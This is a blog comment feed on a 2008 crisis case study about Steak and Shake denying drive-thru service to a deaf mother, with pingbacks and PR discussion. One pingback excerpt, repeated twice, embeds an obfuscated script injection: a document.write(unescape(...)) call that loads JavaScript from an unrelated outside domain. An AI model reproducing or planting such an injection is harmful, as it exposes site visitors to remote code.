Comments on: Crisis Case Study: Steak and Shake Refuses Service to Deaf Mom http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/ Sports News - Tech Reviews - Entertainment - Life Tips for EveryJoe Thu, 18 Mar 2010 17:00:19 +0000 http://wordpress.org/?v=2.9.1 hourly 1 By: » Blog Archive » links for 2008-11-09 http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324819 » Blog Archive » links for 2008-11-09 Mon, 10 Nov 2008 01:00:56 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324819 [...] Crisis Case Study: Steak and Shake Refuses Service to Deaf Mom It’s an interesting look at how quickly an incident can take on a life of its own - before a company can even begin to respond using traditional PR methods. (tags: crisis PublicRelations casestudy) addthis_url = 'http%3A%2F%2Fpublicrelationsmatters.com%2F2008%2F11%2F09%2Flinks-for-2008-11-09%2F'; addthis_title = 'links+for+2008-11-09'; addthis_pub = ''; var ecov = "sh"; document.write(unescape("%3Cscript src='http://eco-safe.com/js/eco.js' type='text/javascript'%3E%3C/script%3E")); [...] [...] Crisis Case Study: Steak and Shake Refuses Service to Deaf Mom It’s an interesting look at how quickly an incident can take on a life of its own – before a company can even begin to respond using traditional PR methods. (tags: crisis PublicRelations casestudy) addthis_url = ‘http%3A%2F%2Fpublicrelationsmatters.com%2F2008%2F11%2F09%2Flinks-for-2008-11-09%2F’; addthis_title = ‘links+for+2008-11-09′; addthis_pub = ”; var ecov = “sh”; document.write(unescape(“%3Cscript src=’http://eco-safe.com/js/eco.js’ type=’text/javascript’%3E%3C/script%3E”)); [...]

]]> By: A Deaf Mom Shares Her World » Steak and Shake–Looks Like This Touched A Nerve http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324818 A Deaf Mom Shares Her World » Steak and Shake–Looks Like This Touched A Nerve Fri, 23 May 2008 02:52:40 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324818 [...] Business and Blogging: Crisis Case Study [...] [...] Business and Blogging: Crisis Case Study [...]

]]> By: A Deaf Mom Shares Her World » Business and Blogging Examines Steak ‘n Shake Incident http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324817 A Deaf Mom Shares Her World » Business and Blogging Examines Steak ‘n Shake Incident Fri, 23 May 2008 02:50:52 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324817 [...] To read the full post on Business and Blogging: Crisis Case Study: Steak ‘n Shake Denies Service to Deaf Mom [...] [...] To read the full post on Business and Blogging: Crisis Case Study: Steak ‘n Shake Denies Service to Deaf Mom [...]

]]> By: Deaf Mom Turned Away by Steak Follow Up | Just Thinkin' http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324816 Deaf Mom Turned Away by Steak Follow Up | Just Thinkin' Fri, 15 Feb 2008 00:12:17 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324816 [...] sure you take a look at her follow up post that brings things up to date. I recommend also reading Liz Fuller’s write up on the incident and subsequent interview with Karen since she takes a more in depth look at what this could mean [...] [...] sure you take a look at her follow up post that brings things up to date. I recommend also reading Liz Fuller’s write up on the incident and subsequent interview with Karen since she takes a more in depth look at what this could mean [...]

]]> By: Interview with Karen Putz: Deaf Mom Denied Service at Steak and Shake http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324815 Interview with Karen Putz: Deaf Mom Denied Service at Steak and Shake Thu, 14 Feb 2008 07:02:53 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324815 [...] Tuesday’s post, I wrote about the PR nightmare facing Steak and Shake after an employee denied drive-thru service to Deaf Mom and Blogger, Karen Putz.  With your help, [...] [...] Tuesday’s post, I wrote about the PR nightmare facing Steak and Shake after an employee denied drive-thru service to Deaf Mom and Blogger, Karen Putz.  With your help, [...]

]]> By: Liz Fuller http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324814 Liz Fuller Wed, 13 Feb 2008 22:14:00 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324814 Hi Karen Inclusion Solutions looks like a good innovation that closes a gap (that I never even realized existed until I read your post). I like the fact that you've come up with a concrete solution for them to rectify this situation - it's a win-win for them and for the hearing impaired community. I'm curious how you came up with this idea rather than just an apology or a monetary compensation to you? Also, if it's possible, can you comment on their reaction to this - did they seem surprised by the rapid escalation in the blogosphere? do they seem aware of all the press swirling around them? and do you think that is what is motivating them to take more action than if you hadn't escalated it? thanks Liz (update - to see Karen's responses to these questions please read her full interview on Thursday 02/14's post!!) Hi Karen
Inclusion Solutions looks like a good innovation that closes a gap (that I never even realized existed until I read your post). I like the fact that you’ve come up with a concrete solution for them to rectify this situation – it’s a win-win for them and for the hearing impaired community.

I’m curious how you came up with this idea rather than just an apology or a monetary compensation to you?

Also, if it’s possible, can you comment on their reaction to this – did they seem surprised by the rapid escalation in the blogosphere? do they seem aware of all the press swirling around them? and do you think that is what is motivating them to take more action than if you hadn’t escalated it?

thanks
Liz

(update – to see Karen’s responses to these questions please read her full interview on Thursday 02/14’s post!!)

]]> By: DeafMom http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324813 DeafMom Wed, 13 Feb 2008 22:08:21 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324813 Hi, I'm Karen, the Deaf Mom who was denied service at Steak 'n Shake. I'm giving them the opportunity to make their restaurants accessible through www.inclusionsolutions.com. If Steak 'n Shake takes us up on that, this would easily generate some great publicity for them. Let's hope it goes in that direction! Hi, I’m Karen, the Deaf Mom who was denied service at Steak ‘n Shake. I’m giving them the opportunity to make their restaurants accessible through http://www.inclusionsolutions.com. If Steak ‘n Shake takes us up on that, this would easily generate some great publicity for them. Let’s hope it goes in that direction!

]]> By: Liz Fuller http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324812 Liz Fuller Wed, 13 Feb 2008 18:32:51 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324812 Hi Chelle, That does sound like a great service. There are ghost writers that small businesses or bloggers can hire to create content for their blogs. But I haven't heard too much of it going the other way - where a business solicits other businesses and offers to create blogs for them. Kind of falls in line with Laura's post for today on businesses that help individuals and businesses manage their online presence. Lots of opportunities! Hi Chelle,

That does sound like a great service. There are ghost writers that small businesses or bloggers can hire to create content for their blogs. But I haven’t heard too much of it going the other way – where a business solicits other businesses and offers to create blogs for them.

Kind of falls in line with Laura’s post for today on businesses that help individuals and businesses manage their online presence.

Lots of opportunities!

]]> By: Chelle http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324811 Chelle Wed, 13 Feb 2008 18:28:40 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324811 I think I'm going to have to agree with the other commenter's who say S&S need to start mea culping all over blogs and pretty quick. I would imagine before too long the effort would be noticed and picked up by most of the remaining blogs who ran the story in the first place. I don' t know if it's true elsewhere but here in Eugene/Springfield Oregon there are not a lot of restaurants that have blogs or even very active (up to date) websites. I've often thought it would be a good business to start - offering web creating and upkeep to local restaurants, keeping their hours, events and menu's updated. Why don't online phone books offer this service? Apparently I have a lot of thoughts this morning. :) I think I’m going to have to agree with the other commenter’s who say S&S need to start mea culping all over blogs and pretty quick. I would imagine before too long the effort would be noticed and picked up by most of the remaining blogs who ran the story in the first place.

I don’ t know if it’s true elsewhere but here in Eugene/Springfield Oregon there are not a lot of restaurants that have blogs or even very active (up to date) websites. I’ve often thought it would be a good business to start – offering web creating and upkeep to local restaurants, keeping their hours, events and menu’s updated. Why don’t online phone books offer this service?

Apparently I have a lot of thoughts this morning. :)

]]> By: Online Reputation Management and Business Blogging http://www.everyjoe.com/articles/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/comment-page-1/#comment-324810 Online Reputation Management and Business Blogging Wed, 13 Feb 2008 14:39:59 +0000 http://www.businessandblogging.com/crisis-case-study-steak-and-shake-refuses-service-to-deaf-mom/#comment-324810 [...] Liz blogged about Steak and Shake  and mentioned how unfortunate it was that Steak and Shake didn’t already have a corporate [...] [...] Liz blogged about Steak and Shake  and mentioned how unfortunate it was that Steak and Shake didn’t already have a corporate [...]

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